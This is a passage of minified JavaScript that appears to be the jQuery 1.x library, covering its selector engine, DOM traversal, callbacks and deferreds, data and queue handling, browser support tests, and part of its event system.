RegExp(M.join("|")),t=vt.test(_.compareDocumentPosition),R=t||vt.test(_.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return D=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r?r:(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&r||!w.sortDetached&&t.compareDocumentPosition(e)===r?e===n||e.ownerDocument===P&&R(P,e)?-1:t===n||t.ownerDocument===P&&R(P,t)?1:A?tt.call(A,e)-tt.call(A,t):0:4&r?-1:1)}:function(e,t){if(e===t)return D=!0,0;var r,i=0,o=e.parentNode,s=t.parentNode,l=[e],u=[t];if(!o||!s)return e===n?-1:t===n?1:o?-1:s?1:A?tt.call(A,e)-tt.call(A,t):0;if(o===s)return a(e,t);for(r=e;r=r.parentNode;)l.unshift(r);for(r=t;r=r.parentNode;)u.unshift(r);for(;l[i]===u[i];)i++;return i?a(l[i],u[i]):l[i]===P?-1:u[i]===P?1:0},n):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(dt,"='$1']"),!(!w.matchesSelector||!q||M&&M.test(n)||F&&F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!q):void 0;return void 0!==r?r:w.attributes||!q?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(D=!w.detectDuplicates,A=!w.sortStable&&e.slice(0),e.sort(U),D){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return A=null,e},E=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=E(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=E(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:ht,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(wt,Tt),e[3]=(e[3]||e[4]||e[5]||"").replace(wt,Tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&ft.test(n)&&(t=C(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(wt,Tt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+rt+")"+e+"("+rt+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==V&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:n?(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o+" ").indexOf(r)>-1:"|="===n?o===r||o.slice(0,r.length+1)===r+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(c=g[B]||(g[B]={}),u=c[e]||[],p=u[0]===I&&u[1],f=u[0]===I&&u[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){c[e]=[I,p,f];break}}else if(y&&(u=(t[B]||(t[B]={}))[e])&&u[0]===I)f=u[1];else for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[B]||(d[B]={}))[e]=[I,f]),d!==t)););return f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[B]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=tt.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=N(e.replace(lt,"$1"));return i[B]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return function(t){return(t.textContent||t.innerText||E(t)).indexOf(e)>-1}}),lang:r(function(e){return pt.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(wt,Tt).toLowerCase(),function(t){var n;do if(n=q?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===_},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return gt.test(e.nodeName)},input:function(e){return mt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:u(function(){return[0]}),last:u(function(e,t){return[t-1]}),eq:u(function(e,t,n){return[0>n?n+t:n]}),even:u(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:u(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:u(function(e,t,n){for(var r=0>n?n+t:n;--r>=0;)e.push(r);return e}),gt:u(function(e,t,n){for(var r=0>n?n+t:n;++r<t;)e.push(r);return e})}},T.pseudos.nth=T.pseudos.eq;for(x in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})T.pseudos[x]=s(x);for(x in{submit:!0,reset:!0})T.pseudos[x]=l(x);return d.prototype=T.filters=T.pseudos,T.setFilters=new d,C=t.tokenize=function(e,n){var r,i,o,a,s,l,u,c=z[e+" "];if(c)return n?0:c.slice(0);for(s=e,l=[],u=T.preFilter;s;){(!r||(i=ut.exec(s)))&&(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ct.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(lt," ")}),s=s.slice(r.length));for(a in T.filter)!(i=ht[a].exec(s))||u[a]&&!(i=u[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return n?s.length:s?t.error(e):z(e,l).slice(0)},N=t.compile=function(e,t){var n,r=[],i=[],o=X[e+" "];if(!o){for(t||(t=C(e)),n=t.length;n--;)o=y(t[n]),o[B]?r.push(o):i.push(o);o=X(e,b(i,r)),o.selector=e}return o},S=t.select=function(e,t,n,r){var i,o,a,s,l,u="function"==typeof e&&e,d=!r&&C(e=u.selector||e);if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&q&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(wt,Tt),t)||[])[0],!t)return n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=ht.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((l=T.find[s])&&(r=l(a.matches[0].replace(wt,Tt),bt.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return Z.apply(n,r),n;
+break}}return(u||N(e,d))(r,t,!q,n,bt.test(e)&&c(t.parentNode)||t),n},w.sortStable=B.split("").sort(U).join("")===B,w.detectDuplicates=!!D,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){return n?void 0:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?void 0:e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(nt,function(e,t,n){var r;return n?void 0:e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);it.find=ut,it.expr=ut.selectors,it.expr[":"]=it.expr.pseudos,it.unique=ut.uniqueSort,it.text=ut.getText,it.isXMLDoc=ut.isXML,it.contains=ut.contains;var ct=it.expr.match.needsContext,dt=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,ft=/^.[^:#\[\.,]*$/;it.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?it.find.matchesSelector(r,e)?[r]:[]:it.find.matches(e,it.grep(t,function(e){return 1===e.nodeType}))},it.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(it(e).filter(function(){for(t=0;i>t;t++)if(it.contains(r[t],this))return!0}));for(t=0;i>t;t++)it.find(e,r[t],n);return n=this.pushStack(i>1?it.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&ct.test(e)?it(e):e||[],!1).length}});var pt,ht=e.document,mt=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,gt=it.fn.init=function(e,t){var n,r;if(!e)return this;if("string"==typeof e){if(n="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:mt.exec(e),!n||!n[1]&&t)return!t||t.jquery?(t||pt).find(e):this.constructor(t).find(e);if(n[1]){if(t=t instanceof it?t[0]:t,it.merge(this,it.parseHTML(n[1],t&&t.nodeType?t.ownerDocument||t:ht,!0)),dt.test(n[1])&&it.isPlainObject(t))for(n in t)it.isFunction(this[n])?this[n](t[n]):this.attr(n,t[n]);return this}if(r=ht.getElementById(n[2]),r&&r.parentNode){if(r.id!==n[2])return pt.find(e);this.length=1,this[0]=r}return this.context=ht,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):it.isFunction(e)?"undefined"!=typeof pt.ready?pt.ready(e):e(it):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),it.makeArray(e,this))};gt.prototype=it.fn,pt=it(ht);var vt=/^(?:parents|prev(?:Until|All))/,yt={children:!0,contents:!0,next:!0,prev:!0};it.extend({dir:function(e,t,n){for(var r=[],i=e[t];i&&9!==i.nodeType&&(void 0===n||1!==i.nodeType||!it(i).is(n));)1===i.nodeType&&r.push(i),i=i[t];return r},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}}),it.fn.extend({has:function(e){var t,n=it(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(it.contains(this,n[t]))return!0})},closest:function(e,t){for(var n,r=0,i=this.length,o=[],a=ct.test(e)||"string"!=typeof e?it(e,t||this.context):0;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&it.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?it.unique(o):o)},index:function(e){return e?"string"==typeof e?it.inArray(this[0],it(e)):it.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(it.unique(it.merge(this.get(),it(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),it.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return it.dir(e,"parentNode")},parentsUntil:function(e,t,n){return it.dir(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return it.dir(e,"nextSibling")},prevAll:function(e){return it.dir(e,"previousSibling")},nextUntil:function(e,t,n){return it.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return it.dir(e,"previousSibling",n)},siblings:function(e){return it.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return it.sibling(e.firstChild)},contents:function(e){return it.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:it.merge([],e.childNodes)}},function(e,t){it.fn[e]=function(n,r){var i=it.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=it.filter(r,i)),this.length>1&&(yt[e]||(i=it.unique(i)),vt.test(e)&&(i=i.reverse())),this.pushStack(i)}});var bt=/\S+/g,xt={};it.Callbacks=function(e){e="string"==typeof e?xt[e]||o(e):it.extend({},e);var t,n,r,i,a,s,l=[],u=!e.once&&[],c=function(o){for(n=e.memory&&o,r=!0,a=s||0,s=0,i=l.length,t=!0;l&&i>a;a++)if(l[a].apply(o[0],o[1])===!1&&e.stopOnFalse){n=!1;break}t=!1,l&&(u?u.length&&c(u.shift()):n?l=[]:d.disable())},d={add:function(){if(l){var r=l.length;!function o(t){it.each(t,function(t,n){var r=it.type(n);"function"===r?e.unique&&d.has(n)||l.push(n):n&&n.length&&"string"!==r&&o(n)})}(arguments),t?i=l.length:n&&(s=r,c(n))}return this},remove:function(){return l&&it.each(arguments,function(e,n){for(var r;(r=it.inArray(n,l,r))>-1;)l.splice(r,1),t&&(i>=r&&i--,a>=r&&a--)}),this},has:function(e){return e?it.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],i=0,this},disable:function(){return l=u=n=void 0,this},disabled:function(){return!l},lock:function(){return u=void 0,n||d.disable(),this},locked:function(){return!u},fireWith:function(e,n){return!l||r&&!u||(n=n||[],n=[e,n.slice?n.slice():n],t?u.push(n):c(n)),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!r}};return d},it.extend({Deferred:function(e){var t=[["resolve","done",it.Callbacks("once memory"),"resolved"],["reject","fail",it.Callbacks("once memory"),"rejected"],["notify","progress",it.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return it.Deferred(function(n){it.each(t,function(t,o){var a=it.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&it.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?it.extend(e,r):r}},i={};return r.pipe=r.then,it.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=Y.call(arguments),a=o.length,s=1!==a||e&&it.isFunction(e.promise)?a:0,l=1===s?e:it.Deferred(),u=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?Y.call(arguments):i,r===t?l.notifyWith(n,r):--s||l.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);a>i;i++)o[i]&&it.isFunction(o[i].promise)?o[i].promise().done(u(i,r,o)).fail(l.reject).progress(u(i,n,t)):--s;return s||l.resolveWith(r,o),l.promise()}});var wt;it.fn.ready=function(e){return it.ready.promise().done(e),this},it.extend({isReady:!1,readyWait:1,holdReady:function(e){e?it.readyWait++:it.ready(!0)},ready:function(e){if(e===!0?!--it.readyWait:!it.isReady){if(!ht.body)return setTimeout(it.ready);it.isReady=!0,e!==!0&&--it.readyWait>0||(wt.resolveWith(ht,[it]),it.fn.triggerHandler&&(it(ht).triggerHandler("ready"),it(ht).off("ready")))}}}),it.ready.promise=function(t){if(!wt)if(wt=it.Deferred(),"complete"===ht.readyState)setTimeout(it.ready);else if(ht.addEventListener)ht.addEventListener("DOMContentLoaded",s,!1),e.addEventListener("load",s,!1);else{ht.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&ht.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!it.isReady){try{n.doScroll("left")}catch(e){return setTimeout(i,50)}a(),it.ready()}}()}return wt.promise(t)};var Tt,Et="undefined";for(Tt in it(nt))break;nt.ownLast="0"!==Tt,nt.inlineBlockNeedsLayout=!1,it(function(){var e,t,n,r;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",nt.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=ht.createElement("div");if(null==nt.deleteExpando){nt.deleteExpando=!0;try{delete e.test}catch(t){nt.deleteExpando=!1}}e=null}(),it.acceptData=function(e){var t=it.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return 1!==n&&9!==n?!1:!t||t!==!0&&e.getAttribute("classid")===t};var kt=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Ct=/([A-Z])/g;it.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?it.cache[e[it.expando]]:e[it.expando],!!e&&!u(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return d(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return d(e,t,!0)}}),it.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=it.data(o),1===o.nodeType&&!it._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=it.camelCase(r.slice(5)),l(o,r,i[r])));it._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){it.data(this,e)}):arguments.length>1?this.each(function(){it.data(this,e,t)}):o?l(o,e,it.data(o,e)):void 0},removeData:function(e){return this.each(function(){it.removeData(this,e)})}}),it.extend({queue:function(e,t,n){var r;return e?(t=(t||"fx")+"queue",r=it._data(e,t),n&&(!r||it.isArray(n)?r=it._data(e,t,it.makeArray(n)):r.push(n)),r||[]):void 0},dequeue:function(e,t){t=t||"fx";var n=it.queue(e,t),r=n.length,i=n.shift(),o=it._queueHooks(e,t),a=function(){it.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return it._data(e,n)||it._data(e,n,{empty:it.Callbacks("once memory").add(function(){it._removeData(e,t+"queue"),it._removeData(e,n)})})}}),it.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?it.queue(this[0],e):void 0===t?this:this.each(function(){var n=it.queue(this,e,t);it._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&it.dequeue(this,e)})},dequeue:function(e){return this.each(function(){it.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=it.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)n=it._data(o[a],e+"queueHooks"),n&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var Nt=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,St=["Top","Right","Bottom","Left"],jt=function(e,t){return e=t||e,"none"===it.css(e,"display")||!it.contains(e.ownerDocument,e)},At=it.access=function(e,t,n,r,i,o,a){var s=0,l=e.length,u=null==n;if("object"===it.type(n)){i=!0;for(s in n)it.access(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,it.isFunction(r)||(a=!0),u&&(a?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(it(e),n)})),t))for(;l>s;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:u?t.call(e):l?t(e[0],n):o},Dt=/^(?:checkbox|radio)$/i;!function(){var e=ht.createElement("input"),t=ht.createElement("div"),n=ht.createDocumentFragment();if(t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",nt.leadingWhitespace=3===t.firstChild.nodeType,nt.tbody=!t.getElementsByTagName("tbody").length,nt.htmlSerialize=!!t.getElementsByTagName("link").length,nt.html5Clone="<:nav></:nav>"!==ht.createElement("nav").cloneNode(!0).outerHTML,e.type="checkbox",e.checked=!0,n.appendChild(e),nt.appendChecked=e.checked,t.innerHTML="<textarea>x</textarea>",nt.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue,n.appendChild(t),t.innerHTML="<input type='radio' checked='checked' name='t'/>",nt.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,nt.noCloneEvent=!0,t.attachEvent&&(t.attachEvent("onclick",function(){nt.noCloneEvent=!1}),t.cloneNode(!0).click()),null==nt.deleteExpando){nt.deleteExpando=!0;try{delete t.test}catch(r){nt.deleteExpando=!1}}}(),function(){var t,n,r=ht.createElement("div");for(t in{submit:!0,change:!0,focusin:!0})n="on"+t,(nt[t+"Bubbles"]=n in e)||(r.setAttribute(n,"t"),nt[t+"Bubbles"]=r.attributes[n].expando===!1);r=null}();var Lt=/^(?:input|select|textarea)$/i,Ht=/^key/,_t=/^(?:mouse|pointer|contextmenu)|click/,qt=/^(?:focusinfocus|focusoutblur)$/,Ft=/^([^.]*)(?:\.(.+)|)$/;it.event={global:{},add:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it._data(e);if(g){for(n.handler&&(l=n,n=l.handler,i=l.selector),n.guid||(n.guid=it.guid++),(a=g.events)||(a=g.events={}),(c=g.handle)||(c=g.handle=function(e){return typeof it===Et||e&&it.event.triggered===e.type?void 0:it.event.dispatch.apply(c.elem,arguments)},c.elem=e),t=(t||"").match(bt)||[""],s=t.length;s--;)o=Ft.exec(t[s])||[],p=m=o[1],h=(o[2]||"").split(".").sort(),p&&(u=it.event.special[p]||{},p=(i?u.delegateType:u.bindType)||p,u=it.event.special[p]||{},d=it.extend({type:p,origType:m,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&it.expr.match.needsContext.test(i),namespace:h.join(".")},l),(f=a[p])||(f=a[p]=[],f.delegateCount=0,u.setup&&u.setup.call(e,r,h,c)!==!1||(e.addEventListener?e.addEventListener(p,c,!1):e.attachEvent&&e.attachEvent("on"+p,c))),u.add&&(u.add.call(e,d),d.handler.guid||(d.handler.guid=n.guid)),i?f.splice(f.delegateCount++,0,d):f.push(d),it.event.global[p]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it.hasData(e)&&it._data(e);if(g&&(c=g.events)){for(t=(t||"").match(bt)||[""],u=t.length;u--;)if(s=Ft.exec(t[u])||[],p=m=s[1],h=(s[2]||"").split(".").sort(),p){for(d=it.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,f=c[p]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;o--;)a=f[o],!i&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,d.remove&&d.remove.call(e,a));l&&!f.length&&(d.teardown&&d.teardown.call(e,h,g.handle)!==!1||it.removeEvent(e,p,g.handle),delete c[p])}else for(p in c)it.event.remove(e,p+t[u],n,r,!0);it.isEmptyObject(c)&&(delete g.handle,it._removeData(e,"events"))}},trigger:function(t,n,r,i){var o,a,s,l,u,c,d,f=[r||ht],p=tt.call(t,"type")?t.type:t,h=tt.call(t,"namespace")?t.namespace.split("."):[];if(s=c=r=r||ht,3!==r.nodeType&&8!==r.nodeType&&!qt.test(p+it.event.triggered)&&(p.indexOf(".")>=0&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[it.expando]?t:new it.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.namespace_re=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:it.makeArray(n,[t]),u=it.event.special[p]||{},i||!u.trigger||u.trigger.apply(r,n)!==!1)){if(!i&&!u.noBubble&&!it.isWindow(r)){for(l=u.delegateType||p,qt.test(l+p)||(s=s.parentNode);s;s=s.parentNode)f.push(s),c=s;c===(r.ownerDocument||ht)&&f.push(c.defaultView||c.parentWindow||e)}for(d=0;(s=f[d++])&&!t.isPropagationStopped();)t.type=d>1?l:u.bindType||p,o=(it._data(s,"events")||{})[t.type]&&it._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&it.acceptData(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!u._default||u._default.apply(f.pop(),n)===!1)&&it.acceptData(r)&&a&&r[p]&&!it.isWindow(r)){c=r[a],c&&(r[a]=null),it.event.triggered=p;try{r[p]()}catch(m){}it.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=it.event.fix(e);var t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 0===i[n]&&(i[n]=r.needsContext?it(n,this).index(l)>=0:it.find(n,this,null,[l]).length),i[n]&&i.push(r);i.length&&a.push({elem:l,handlers:i})}return s<t.length&&a.push({elem:this,handlers:t.slice(s)}),a},fix:function(e){if(e[it.expando])return e;var t,n,r,i=e.type,o=e,a=this.fixHooks[i];for(a||(this.fixHooks[i]=a=_t.test(i)?this.mouseHooks:Ht.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new it.Event(o),t=r.length;t--;)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||ht),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase 